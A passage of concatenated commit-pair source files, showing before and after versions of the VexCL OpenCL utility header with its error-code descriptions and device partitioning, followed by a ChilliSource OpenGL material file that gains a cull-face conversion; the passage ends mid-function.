os << \"Misaligned sub buffer offset\";\n\t break;\n\tcase -14:\n\t os << \"Exec status error for events in wait list\";\n\t break;\n\tcase -30:\n\t os << \"Invalid value\";\n\t break;\n\tcase -31:\n\t os << \"Invalid device type\";\n\t break;\n\tcase -32:\n\t os << \"Invalid platform\";\n\t break;\n\tcase -33:\n\t os << \"Invalid device\";\n\t break;\n\tcase -34:\n\t os << \"Invalid context\";\n\t break;\n\tcase -35:\n\t os << \"Invalid queue properties\";\n\t break;\n\tcase -36:\n\t os << \"Invalid command queue\";\n\t break;\n\tcase -37:\n\t os << \"Invalid host ptr\";\n\t break;\n\tcase -38:\n\t os << \"Invalid mem object\";\n\t break;\n\tcase -39:\n\t os << \"Invalid image format descriptor\";\n\t break;\n\tcase -40:\n\t os << \"Invalid image size\";\n\t break;\n\tcase -41:\n\t os << \"Invalid sampler\";\n\t break;\n\tcase -42:\n\t os << \"Invalid binary\";\n\t break;\n\tcase -43:\n\t os << \"Invalid build options\";\n\t break;\n\tcase -44:\n\t os << \"Invalid program\";\n\t break;\n\tcase -45:\n\t os << \"Invalid program executable\";\n\t break;\n\tcase -46:\n\t os << \"Invalid kernel name\";\n\t break;\n\tcase -47:\n\t os << \"Invalid kernel definition\";\n\t break;\n\tcase -48:\n\t os << \"Invalid kernel\";\n\t break;\n\tcase -49:\n\t os << \"Invalid arg index\";\n\t break;\n\tcase -50:\n\t os << \"Invalid arg value\";\n\t break;\n\tcase -51:\n\t os << \"Invalid arg size\";\n\t break;\n\tcase -52:\n\t os << \"Invalid kernel args\";\n\t break;\n\tcase -53:\n\t os << \"Invalid work dimension\";\n\t break;\n\tcase -54:\n\t os << \"Invalid work group size\";\n\t break;\n\tcase -55:\n\t os << \"Invalid work item size\";\n\t break;\n\tcase -56:\n\t os << \"Invalid global offset\";\n\t break;\n\tcase -57:\n\t os << \"Invalid event wait list\";\n\t break;\n\tcase -58:\n\t os << \"Invalid event\";\n\t break;\n\tcase -59:\n\t os << \"Invalid operation\";\n\t break;\n\tcase -60:\n\t os << \"Invalid gl object\";\n\t break;\n\tcase -61:\n\t os << \"Invalid buffer size\";\n\t break;\n\tcase -62:\n\t os << \"Invalid mip level\";\n\t break;\n\tcase -63:\n\t os << \"Invalid global work size\";\n\t break;\n\tcase -64:\n\t os << \"Invalid property\";\n\t break;\n\tdefault:\n\t os << \"Unknown error\";\n\t break;\n }\n\n return os << \")\";\n}\n\n#ifdef WIN32\n# pragma warning(pop)\n#endif\n#endif\ndoc update#ifndef VEXCL_UTIL_HPP\n#define VEXCL_UTIL_HPP\n\n\/*\nThe MIT License\n\nCopyright (c) 2012 Denis Demidov \n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n*\/\n\n\/**\n * \\file util.hpp\n * \\author Denis Demidov \n * \\brief OpenCL general utilities.\n *\/\n\n#ifdef WIN32\n# pragma warning(push)\n# pragma warning(disable : 4267 4290)\n# define NOMINMAX\n#endif\n\n#ifndef __CL_ENABLE_EXCEPTIONS\n# define __CL_ENABLE_EXCEPTIONS\n#endif\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\ntypedef unsigned int uint;\ntypedef unsigned char uchar;\n\nnamespace vex {\n\n\/\/\/ Convert typename to string.\ntemplate inline std::string type_name() { return \"undefined_type\"; }\ntemplate <> inline std::string type_name() { return \"float\"; }\ntemplate <> inline std::string type_name() { return \"double\"; }\ntemplate <> inline std::string type_name() { return \"int\"; }\ntemplate <> inline std::string type_name() { return \"char\"; }\ntemplate <> inline std::string type_name() { return \"bool\"; }\ntemplate <> inline std::string type_name() { return \"unsigned int\"; }\ntemplate <> inline std::string type_name() { return \"unsigned char\"; }\n\n#if (__WORDSIZE == 64) || defined(_WIN64)\ntemplate <> inline std::string type_name() { return \"ulong\"; }\ntemplate <> inline std::string type_name() { return \"long\"; }\n#endif\n\nconst std::string standard_kernel_header = std::string(\n\t\"#if defined(cl_khr_fp64)\\n\"\n\t\"# pragma OPENCL EXTENSION cl_khr_fp64: enable\\n\"\n\t\"#elif defined(cl_amd_fp64)\\n\"\n\t\"# pragma OPENCL EXTENSION cl_amd_fp64: enable\\n\"\n\t\"#endif\\n\"\n\t);\n\n\/\/\/ \\cond INTERNAL\n\n\/\/\/ Binary operations with their traits.\nnamespace binop {\n enum kind {\n\tAdd,\n\tSubtract,\n\tMultiply,\n\tDivide,\n\tRemainder,\n\tGreater,\n\tLess,\n\tGreaterEqual,\n\tLessEqual,\n\tEqual,\n\tNotEqual,\n\tBitwiseAnd,\n\tBitwiseOr,\n\tBitwiseXor,\n\tLogicalAnd,\n\tLogicalOr,\n\tRightShift,\n\tLeftShift\n };\n\n template struct traits {};\n\n#define BOP_TRAITS(kind, op, nm) \\\n template <> struct traits { \\\n\tstatic std::string oper() { return op; } \\\n\tstatic std::string name() { return nm; } \\\n };\n\n BOP_TRAITS(Add, \"+\", \"Add_\")\n BOP_TRAITS(Subtract, \"-\", \"Sub_\")\n BOP_TRAITS(Multiply, \"*\", \"Mul_\")\n BOP_TRAITS(Divide, \"\/\", \"Div_\")\n BOP_TRAITS(Remainder, \"%\", \"Mod_\")\n BOP_TRAITS(Greater, \">\", \"Gtr_\")\n BOP_TRAITS(Less, \"<\", \"Lss_\")\n BOP_TRAITS(GreaterEqual, \">=\", \"Geq_\")\n BOP_TRAITS(LessEqual, \"<=\", \"Leq_\")\n BOP_TRAITS(Equal, \"==\", \"Equ_\")\n BOP_TRAITS(NotEqual, \"!=\", \"Neq_\")\n BOP_TRAITS(BitwiseAnd, \"&\", \"BAnd_\")\n BOP_TRAITS(BitwiseOr, \"|\", \"BOr_\")\n BOP_TRAITS(BitwiseXor, \"^\", \"BXor_\")\n BOP_TRAITS(LogicalAnd, \"&&\", \"LAnd_\")\n BOP_TRAITS(LogicalOr, \"||\", \"LOr_\")\n BOP_TRAITS(RightShift, \">>\", \"Rsh_\")\n BOP_TRAITS(LeftShift, \"<<\", \"Lsh_\")\n\n#undef BOP_TRAITS\n}\n\n\/\/\/ \\endcond\n\n\/\/\/ Return next power of 2.\ninline size_t nextpow2(size_t x) {\n --x;\n x |= x >> 1U;\n x |= x >> 2U;\n x |= x >> 4U;\n x |= x >> 8U;\n x |= x >> 16U;\n return ++x;\n}\n\n\/\/\/ Align n to the next multiple of m.\ninline size_t alignup(size_t n, size_t m = 16U) {\n return n % m ? n - n % m + m : n;\n}\n\n\/\/\/ Weights device wrt to vector performance.\n\/**\n * Launches the following kernel on each device:\n * \\code\n * a = b + c;\n * \\endcode\n * where a, b and c are device vectors. Each device gets portion of the vector\n * proportional to the performance of this operation.\n *\/\ninline double device_vector_perf(\n\tconst cl::Context &context, const cl::Device &device\n\t);\n\n\/\/\/ Weights device wrt to spmv performance.\n\/**\n * Launches the following kernel on each device:\n * \\code\n * y = A * x;\n * \\endcode\n * where x and y are vectors, and A is matrix for 3D Poisson problem in square\n * domain. Each device gets portion of the vector proportional to the\n * performance of this operation.\n *\/\ninline double device_spmv_perf(\n\tconst cl::Context &context, const cl::Device &device\n\t);\n\n\/\/\/ Assigns equal weight to each device.\n\/**\n * This results in equal partitioning.\n *\/\ninline double equal_weights(\n\tconst cl::Context &context, const cl::Device &device\n\t)\n{\n return 1;\n}\n\n\n\/\/\/ Partitioning scheme for vectors and matrices.\n\/**\n * Should be set once before any object of vector or matrix type is declared.\n * Otherwise default parttioning function (partition_by_vector_perf) is\n * selected.\n *\/\ntemplate \nstruct partitioning_scheme {\n typedef std::function<\n\tdouble(const cl::Context&, const cl::Device&)\n\t> weight_function;\n\n static void set(weight_function f) {\n\tif (!is_set) {\n\t weight = f;\n\t is_set = true;\n\t} else {\n\t std::cerr <<\n\t\t\"Warning: \"\n\t\t\"device weighting function is already set and will be left as is.\"\n\t\t<< std::endl;\n\t}\n }\n\n static std::vector get(size_t n, const std::vector &queue);\n\n private:\n\tstatic bool is_set;\n\tstatic weight_function weight;\n\tstatic std::map device_weight;\n};\n\ntemplate \nbool partitioning_scheme::is_set = false;\n\ntemplate \nstd::map partitioning_scheme::device_weight;\n\ntemplate \nstd::vector partitioning_scheme::get(size_t n,\n\tconst std::vector &queue)\n{\n if (!is_set) {\n\tweight = device_vector_perf;\n\tis_set = true;\n }\n\n std::vector part;\n part.reserve(queue.size() + 1);\n part.push_back(0);\n\n if (queue.size() > 1) {\n\tstd::vector cumsum;\n\tcumsum.reserve(queue.size() + 1);\n\tcumsum.push_back(0);\n\n\tfor(auto q = queue.begin(); q != queue.end(); q++) {\n\t cl::Context context = q->getInfo();\n\t cl::Device device = q->getInfo();\n\n\t auto dw = device_weight.find(device());\n\n\t double w = (dw == device_weight.end()) ?\n\t\t(device_weight[device()] = weight(context, device)) :\n\t\tdw->second;\n\n\t cumsum.push_back(cumsum.back() + w);\n\t}\n\n\tfor(uint d = 1; d < queue.size(); d++)\n\t part.push_back(\n\t\t std::min(n,\n\t\t\talignup(static_cast(n * cumsum[d] \/ cumsum.back()))\n\t\t\t)\n\t\t );\n }\n\n part.push_back(n);\n return part;\n}\n\ntemplate \ntypename partitioning_scheme::weight_function partitioning_scheme::weight;\n\ninline std::vector partition(size_t n,\n\t const std::vector &queue)\n{\n return partitioning_scheme::get(n, queue);\n}\n\n\/\/\/ Create and build a program from source string.\ninline cl::Program build_sources(\n\tconst cl::Context &context, const std::string &source\n\t)\n{\n cl::Program program(context, cl::Program::Sources(\n\t\t1, std::make_pair(source.c_str(), source.size())\n\t\t));\n\n auto device = context.getInfo();\n\n try {\n\tprogram.build(device);\n } catch(const cl::Error&) {\n\tstd::cerr << source\n\t << std::endl\n\t << program.getBuildInfo(device[0])\n\t << std::endl;\n\tthrow;\n }\n\n return program;\n}\n\n\/\/\/ Get maximum possible workgroup size for given kernel.\ninline uint kernel_workgroup_size(\n\tconst cl::Kernel &kernel,\n\tconst cl::Device &device\n\t)\n{\n size_t wgsz = 1024U;\n\n uint dev_wgsz = kernel.getWorkGroupInfo(device);\n while(wgsz > dev_wgsz) wgsz \/= 2;\n\n return wgsz;\n}\n\n\/\/\/ Shortcut for q.getInfo()\ninline cl::Context qctx(const cl::CommandQueue& q) {\n cl::Context ctx;\n q.getInfo(CL_QUEUE_CONTEXT, &ctx);\n return ctx;\n}\n\n\/\/\/ Shortcut for q.getInfo()\ninline cl::Device qdev(const cl::CommandQueue& q) {\n cl::Device dev;\n q.getInfo(CL_QUEUE_DEVICE, &dev);\n return dev;\n}\n\n} \/\/ namespace vex\n\n\/\/\/ Output description of an OpenCL error to a stream.\ninline std::ostream& operator<<(std::ostream &os, const cl::Error &e) {\n os << e.what() << \"(\";\n\n switch (e.err()) {\n\tcase 0:\n\t os << \"Success\";\n\t break;\n\tcase -1:\n\t os << \"Device not found\";\n\t break;\n\tcase -2:\n\t os << \"Device not available\";\n\t break;\n\tcase -3:\n\t os << \"Compiler not available\";\n\t break;\n\tcase -4:\n\t os << \"Mem object allocation failure\";\n\t break;\n\tcase -5:\n\t os << \"Out of resources\";\n\t break;\n\tcase -6:\n\t os << \"Out of host memory\";\n\t break;\n\tcase -7:\n\t os << \"Profiling info not available\";\n\t break;\n\tcase -8:\n\t os << \"Mem copy overlap\";\n\t break;\n\tcase -9:\n\t os << \"Image format mismatch\";\n\t break;\n\tcase -10:\n\t os << \"Image format not supported\";\n\t break;\n\tcase -11:\n\t os << \"Build program failure\";\n\t break;\n\tcase -12:\n\t os << \"Map failure\";\n\t break;\n\tcase -13:\n\t os << \"Misaligned sub buffer offset\";\n\t break;\n\tcase -14:\n\t os << \"Exec status error for events in wait list\";\n\t break;\n\tcase -30:\n\t os << \"Invalid value\";\n\t break;\n\tcase -31:\n\t os << \"Invalid device type\";\n\t break;\n\tcase -32:\n\t os << \"Invalid platform\";\n\t break;\n\tcase -33:\n\t os << \"Invalid device\";\n\t break;\n\tcase -34:\n\t os << \"Invalid context\";\n\t break;\n\tcase -35:\n\t os << \"Invalid queue properties\";\n\t break;\n\tcase -36:\n\t os << \"Invalid command queue\";\n\t break;\n\tcase -37:\n\t os << \"Invalid host ptr\";\n\t break;\n\tcase -38:\n\t os << \"Invalid mem object\";\n\t break;\n\tcase -39:\n\t os << \"Invalid image format descriptor\";\n\t break;\n\tcase -40:\n\t os << \"Invalid image size\";\n\t break;\n\tcase -41:\n\t os << \"Invalid sampler\";\n\t break;\n\tcase -42:\n\t os << \"Invalid binary\";\n\t break;\n\tcase -43:\n\t os << \"Invalid build options\";\n\t break;\n\tcase -44:\n\t os << \"Invalid program\";\n\t break;\n\tcase -45:\n\t os << \"Invalid program executable\";\n\t break;\n\tcase -46:\n\t os << \"Invalid kernel name\";\n\t break;\n\tcase -47:\n\t os << \"Invalid kernel definition\";\n\t break;\n\tcase -48:\n\t os << \"Invalid kernel\";\n\t break;\n\tcase -49:\n\t os << \"Invalid arg index\";\n\t break;\n\tcase -50:\n\t os << \"Invalid arg value\";\n\t break;\n\tcase -51:\n\t os << \"Invalid arg size\";\n\t break;\n\tcase -52:\n\t os << \"Invalid kernel args\";\n\t break;\n\tcase -53:\n\t os << \"Invalid work dimension\";\n\t break;\n\tcase -54:\n\t os << \"Invalid work group size\";\n\t break;\n\tcase -55:\n\t os << \"Invalid work item size\";\n\t break;\n\tcase -56:\n\t os << \"Invalid global offset\";\n\t break;\n\tcase -57:\n\t os << \"Invalid event wait list\";\n\t break;\n\tcase -58:\n\t os << \"Invalid event\";\n\t break;\n\tcase -59:\n\t os << \"Invalid operation\";\n\t break;\n\tcase -60:\n\t os << \"Invalid gl object\";\n\t break;\n\tcase -61:\n\t os << \"Invalid buffer size\";\n\t break;\n\tcase -62:\n\t os << \"Invalid mip level\";\n\t break;\n\tcase -63:\n\t os << \"Invalid global work size\";\n\t break;\n\tcase -64:\n\t os << \"Invalid property\";\n\t break;\n\tdefault:\n\t os << \"Unknown error\";\n\t break;\n }\n\n return os << \")\";\n}\n\n#ifdef WIN32\n# pragma warning(pop)\n#endif\n#endif\n<|endoftext|>"} {"text":"\/\/\n\/\/ The MIT License (MIT)\n\/\/\n\/\/ Copyright (c) 2016 Tag Games Limited\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\n#include \n\n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n\nnamespace CSBackend\n{\n namespace OpenGL\n {\n namespace\n {\n const std::string k_uniformEmissive = \"u_emissive\";\n const std::string k_uniformAmbient = \"u_ambient\";\n const std::string k_uniformDiffuse = \"u_diffuse\";\n const std::string k_uniformSpecular = \"u_specular\";\n const std::string k_uniformTexturePrefix = \"u_texture\";\n const std::string k_uniformCubemapPrefix = \"u_cubemap\";\n \n \/\/\/ Converts from a ChilliSource blend mode to an OpenGL blend mode.\n \/\/\/\n \/\/\/ @param blendMode\n \/\/\/ The ChilliSource blend mode.\n \/\/\/\n \/\/\/ @return The OpenGL blend mode.\n \/\/\/\n GLenum ToGLBlendMode(ChilliSource::BlendMode blendMode)\n {\n switch(blendMode)\n {\n case ChilliSource::BlendMode::k_zero:\n return GL_ZERO;\n case ChilliSource::BlendMode::k_one:\n return GL_ONE;\n case ChilliSource::BlendMode::k_sourceCol:\n return GL_SRC_COLOR;\n case ChilliSource::BlendMode::k_oneMinusSourceCol:\n return GL_ONE_MINUS_SRC_COLOR;\n case ChilliSource::BlendMode::k_sourceAlpha:\n return GL_SRC_ALPHA;\n case ChilliSource::BlendMode::k_oneMinusSourceAlpha:\n return GL_ONE_MINUS_SRC_ALPHA;\n case ChilliSource::BlendMode::k_destCol:\n return GL_DST_COLOR;\n case ChilliSource::BlendMode::k_oneMinusDestCol:\n return GL_ONE_MINUS_DST_COLOR;\n case ChilliSource::BlendMode::k_destAlpha:\n return GL_DST_ALPHA;\n case ChilliSource::BlendMode::k_oneMinusDestAlpha:\n return GL_ONE_MINUS_DST_ALPHA;\n default:\n CS_LOG_FATAL(\"Invalid blend mode.\");\n return GL_ZERO;\n };\n }\n \n \/\/\/ Converts from a ChilliSource stencil op to an OpenGL one\n \/\/\/\n \/\/\/ @param stencilOp\n \/\/\/ The ChilliSource stencil op\n \/\/\/\n \/\/\/ @return The OpenGL stencil op.\n \/\/\/\n GLenum ToGLStencilOp(ChilliSource::StencilOp stencilOp)\n {\n switch(stencilOp)\n {\n case ChilliSource::StencilOp::k_keep:\n return GL_KEEP;\n case ChilliSource::StencilOp::k_zero:\n return GL_ZERO;\n case ChilliSource::StencilOp::k_replace:\n return GL_REPLACE;\n case ChilliSource::StencilOp::k_increment:\n return GL_INCR;\n case ChilliSource::StencilOp::k_incrementWrap:\n return GL_INCR_WRAP;\n case ChilliSource::StencilOp::k_decrement:\n return GL_DECR;\n case ChilliSource::StencilOp::k_decrementWrap:\n return GL_DECR_WRAP;\n case ChilliSource::StencilOp::k_invert:\n return GL_INVERT;\n default:\n CS_LOG_FATAL(\"Invalid stencil op.\");\n return GL_KEEP;\n };\n }\n \n \/\/\/ Converts from a ChilliSource test func to an OpenGL one\n \/\/\/\n \/\/\/ @param testFunc\n \/\/\/ The ChilliSource test func\n \/\/\/\n \/\/\/ @return The OpenGL test func.\n \/\/\/\n GLenum ToGLTestFunc(ChilliSource::TestFunc testFunc)\n {\n switch(testFunc)\n {\n case ChilliSource::TestFunc::k_never:\n return GL_NEVER;\n case ChilliSource::TestFunc::k_less:\n return GL_LESS;\n case ChilliSource::TestFunc::k_lessEqual:\n return GL_LEQUAL;\n case ChilliSource::TestFunc::k_greater:\n return GL_GREATER;\n case ChilliSource::TestFunc::k_greaterEqual:\n return GL_GEQUAL;\n case ChilliSource::TestFunc::k_equal:\n return GL_EQUAL;\n case ChilliSource::TestFunc::k_notEqual:\n return GL_NOTEQUAL;\n case ChilliSource::TestFunc::k_always:\n return GL_ALWAYS;\n default:\n CS_LOG_FATAL(\"Invalid test func.\");\n return GL_ALWAYS;\n };\n }\n \n \/\/\/ Applies the given batch of custom shader variables to the given shader. If\n \/\/\/ any of the variables do not exist in the shader, this will assert.\n \/\/\/\n \/\/\/ @param renderShaderVariables\n \/\/\/ The shader variables to apply.\n \/\/\/ @param glShader\n \/\/\/ The shader to apply the variables to.\n \/\/\/\n void ApplyCustomShaderVariables(const ChilliSource::RenderShaderVariables* renderShaderVariables, GLShader* glShader) noexcept\n {\n CS_ASSERT(renderShaderVariables, \"Cannot apply null shader variables.\");\n CS_ASSERT(glShader, \"Cannot apply shader variables to null shader.\");\n \n for (const auto& pair : renderShaderVariables->GetFloatVariables())\n {\n glShader->SetUniform(pair.first, pair.second);\n }\n \n for (const auto& pair : renderShaderVariables->GetVector2Variables())\n {\n glShader->SetUniform(pair.first, pair.second);\n }\n \n for (const auto& pair : renderShaderVariables->GetVector3Variables())\n {\n glShader->SetUniform(pair.first, pair.second);\n }\n \n for (const auto& pair : renderShaderVariables->GetVector4Variables())\n {\n glShader->SetUniform(pair.first, pair.second);\n }\n \n for (const auto& pair : renderShaderVariables->GetMatrix4Variables())\n {\n glShader->SetUniform(pair.first, pair.second);\n }\n \n for (const auto& pair : renderShaderVariables->GetColourVariables())\n {\n glShader->SetUniform(pair.first, pair.second);\n }\n }\n }\n \n \/\/------------------------------------------------------------------------------\n void GLMaterial::Apply(const ChilliSource::RenderMaterial* renderMaterial, GLShader* glShader) noexcept\n {\n renderMaterial->IsDepthWriteEnabled() ? glDepthMask(GL_TRUE) : glDepthMask(GL_FALSE);\n renderMaterial->IsColourWriteEnabled() ? glColorMask(GL_TRUE, GL_TRUE, GL_TRUE, GL_TRUE) : glColorMask(GL_FALSE, GL_FALSE, GL_FALSE, GL_FALSE);\n\n if(renderMaterial->IsDepthTestEnabled())\n {\n glEnable(GL_DEPTH_TEST);\n glDepthFunc(ToGLTestFunc(renderMaterial->GetDepthTestFunc()));\n }\n else\n {\n glDisable(GL_DEPTH_TEST);\n }\n \n if (renderMaterial->IsFaceCullingEnabled())\n {\n glEnable(GL_CULL_FACE);\n glCullFace(GL_BACK);\n }\n else\n {\n glDisable(GL_CULL_FACE);\n }\n \n if (renderMaterial->IsTransparencyEnabled())\n {\n glEnable(GL_BLEND);\n glBlendFunc(ToGLBlendMode(renderMaterial->GetSourceBlendMode()), ToGLBlendMode(renderMaterial->GetDestinationBlendMode()));\n }\n else\n {\n glDisable(GL_BLEND);\n }\n \n if(renderMaterial->IsStencilTestEnabled())\n {\n glEnable(GL_STENCIL_TEST);\n glStencilOp(ToGLStencilOp(renderMaterial->GetStencilFailOp()), ToGLStencilOp(renderMaterial->GetStencilDepthFailOp()), ToGLStencilOp(renderMaterial->GetStencilPassOp()));\n glStencilFunc(ToGLTestFunc(renderMaterial->GetStencilTestFunc()), (GLint)renderMaterial->GetStencilTestFuncRef(), (GLuint)renderMaterial->GetStencilTestFuncMask());\n }\n else\n {\n glDisable(GL_STENCIL_TEST);\n }\n \n s32 samplerNumber = 0;\n \n for (auto i = 0; i < renderMaterial->GetRenderTextures2D().size(); ++i, ++samplerNumber)\n {\n glShader->SetUniform(k_uniformTexturePrefix + ChilliSource::ToString(i), samplerNumber);\n }\n \n for (auto i = 0; i < renderMaterial->GetRenderTexturesCubemap().size(); ++i, ++samplerNumber)\n {\n glShader->SetUniform(k_uniformCubemapPrefix + ChilliSource::ToString(i), samplerNumber);\n }\n \n glShader->SetUniform(k_uniformEmissive, renderMaterial->GetEmissiveColour(), GLShader::FailurePolicy::k_silent);\n glShader->SetUniform(k_uniformAmbient, renderMaterial->GetAmbientColour(), GLShader::FailurePolicy::k_silent);\n glShader->SetUniform(k_uniformDiffuse, renderMaterial->GetDiffuseColour(), GLShader::FailurePolicy::k_silent);\n glShader->SetUniform(k_uniformSpecular, renderMaterial->GetSpecularColour(), GLShader::FailurePolicy::k_silent);\n \n if (renderMaterial->GetRenderShaderVariables())\n {\n ApplyCustomShaderVariables(renderMaterial->GetRenderShaderVariables(), glShader);\n }\n }\n }\n}\nFixing issue where cull face was always set to back and ignoring the material\/\/\n\/\/ The MIT License (MIT)\n\/\/\n\/\/ Copyright (c) 2016 Tag Games Limited\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\n#include \n\n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n\nnamespace CSBackend\n{\n namespace OpenGL\n {\n namespace\n {\n const std::string k_uniformEmissive = \"u_emissive\";\n const std::string k_uniformAmbient = \"u_ambient\";\n const std::string k_uniformDiffuse = \"u_diffuse\";\n const std::string k_uniformSpecular = \"u_specular\";\n const std::string k_uniformTexturePrefix = \"u_texture\";\n const std::string k_uniformCubemapPrefix = \"u_cubemap\";\n \n \/\/\/ Converts from a ChilliSource blend mode to an OpenGL blend mode.\n \/\/\/\n \/\/\/ @param blendMode\n \/\/\/ The ChilliSource blend mode.\n \/\/\/\n \/\/\/ @return The OpenGL blend mode.\n \/\/\/\n GLenum ToGLBlendMode(ChilliSource::BlendMode blendMode)\n {\n switch(blendMode)\n {\n case ChilliSource::BlendMode::k_zero:\n return GL_ZERO;\n case ChilliSource::BlendMode::k_one:\n return GL_ONE;\n case ChilliSource::BlendMode::k_sourceCol:\n return GL_SRC_COLOR;\n case ChilliSource::BlendMode::k_oneMinusSourceCol:\n return GL_ONE_MINUS_SRC_COLOR;\n case ChilliSource::BlendMode::k_sourceAlpha:\n return GL_SRC_ALPHA;\n case ChilliSource::BlendMode::k_oneMinusSourceAlpha:\n return GL_ONE_MINUS_SRC_ALPHA;\n case ChilliSource::BlendMode::k_destCol:\n return GL_DST_COLOR;\n case ChilliSource::BlendMode::k_oneMinusDestCol:\n return GL_ONE_MINUS_DST_COLOR;\n case ChilliSource::BlendMode::k_destAlpha:\n return GL_DST_ALPHA;\n case ChilliSource::BlendMode::k_oneMinusDestAlpha:\n return GL_ONE_MINUS_DST_ALPHA;\n default:\n CS_LOG_FATAL(\"Invalid blend mode.\");\n return GL_ZERO;\n };\n }\n \n \/\/\/ Converts from a ChilliSource stencil op to an OpenGL one\n \/\/\/\n \/\/\/ @param stencilOp\n \/\/\/ The ChilliSource stencil op\n \/\/\/\n \/\/\/ @return The OpenGL stencil op.\n \/\/\/\n GLenum ToGLStencilOp(ChilliSource::StencilOp stencilOp)\n {\n switch(stencilOp)\n {\n case ChilliSource::StencilOp::k_keep:\n return GL_KEEP;\n case ChilliSource::StencilOp::k_zero:\n return GL_ZERO;\n case ChilliSource::StencilOp::k_replace:\n return GL_REPLACE;\n case ChilliSource::StencilOp::k_increment:\n return GL_INCR;\n case ChilliSource::StencilOp::k_incrementWrap:\n return GL_INCR_WRAP;\n case ChilliSource::StencilOp::k_decrement:\n return GL_DECR;\n case ChilliSource::StencilOp::k_decrementWrap:\n return GL_DECR_WRAP;\n case ChilliSource::StencilOp::k_invert:\n return GL_INVERT;\n default:\n CS_LOG_FATAL(\"Invalid stencil op.\");\n return GL_KEEP;\n };\n }\n \n \/\/\/ Converts from a ChilliSource test func to an OpenGL one\n \/\/\/\n \/\/\/ @param testFunc\n \/\/\/ The ChilliSource test func\n \/\/\/\n \/\/\/ @return The OpenGL test func.\n \/\/\/\n GLenum ToGLTestFunc(ChilliSource::TestFunc testFunc)\n {\n switch(testFunc)\n {\n case ChilliSource::TestFunc::k_never:\n return GL_NEVER;\n case ChilliSource::TestFunc::k_less:\n return GL_LESS;\n case ChilliSource::TestFunc::k_lessEqual:\n return GL_LEQUAL;\n case ChilliSource::TestFunc::k_greater:\n return GL_GREATER;\n case ChilliSource::TestFunc::k_greaterEqual:\n return GL_GEQUAL;\n case ChilliSource::TestFunc::k_equal:\n return GL_EQUAL;\n case ChilliSource::TestFunc::k_notEqual:\n return GL_NOTEQUAL;\n case ChilliSource::TestFunc::k_always:\n return GL_ALWAYS;\n default:\n CS_LOG_FATAL(\"Invalid test func.\");\n return GL_ALWAYS;\n };\n }\n \n \/\/\/ Converts from a ChilliSource cull face to an OpenGL one\n \/\/\/\n \/\/\/ @param cullFace\n \/\/\/ The ChilliSource cull face\n \/\/\/\n \/\/\/ @return The OpenGL cull face.\n \/\/\/\n GLenum ToGLCullFace(ChilliSource::CullFace cullFace)\n {\n switch(cullFace)\n {\n case ChilliSource::CullFace::k_front:\n return GL_FRONT;\n case ChilliSource::CullFace::k_back:\n return GL_BACK;\n }\n }\n \n \/\/\/ Applies the given batch of custom shader variables to the given shader. If\n \/\/\/ any of the variables do not exist in the shader, this will assert.\n \/\/\/\n \/\/\/ @param renderShaderVariables\n \/\/\/ The shader variables to apply.\n \/\/\/ @param glShader\n \/\/\/ The shader to apply the variables to.\n \/\/\/\n void ApplyCustomShaderVariables(const ChilliSource::RenderShaderVariables* renderShaderVariables, 